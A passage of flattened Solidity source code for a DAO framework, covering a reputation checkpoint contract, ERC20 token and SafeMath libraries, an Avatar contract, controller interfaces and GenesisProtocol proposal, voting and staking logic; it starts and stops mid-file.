return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 secondsFromTimeOutTillExecuteBoosted;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
proposal.daoBountyRemain = daoBounty.max(parameters[_paramsHash].minimumDaoBounty);
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
proposal.secondsFromTimeOutTillExecuteBoosted =
now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1]));
expirationCallBounty = calcExecuteCallBounty(_proposalId);
proposal.totalStakes = proposal.totalStakes.sub(expirationCallBounty);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakesLeftAfterCallBounty =
proposal.stakes[NO].add(proposal.stakes[YES]).sub(calcExecuteCallBounty(_proposalId));
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0]
.add((proposal.daoBounty.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes)
.sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function calcExecuteCallBounty(bytes32 _proposalId) public view returns(uint256) {
uint maxRewardSeconds = 1500;
uint rewardSeconds =
uint256(maxRewardSeconds).min(proposals[_proposalId].secondsFromTimeOutTillExecuteBoosted);
return rewardSeconds.mul(proposals[_proposalId].stakes[YES]).div(maxRewardSeconds*10);
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= uint256(0x100000000000000000000000000000000).sub(proposal.daoBountyRemain),
"total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
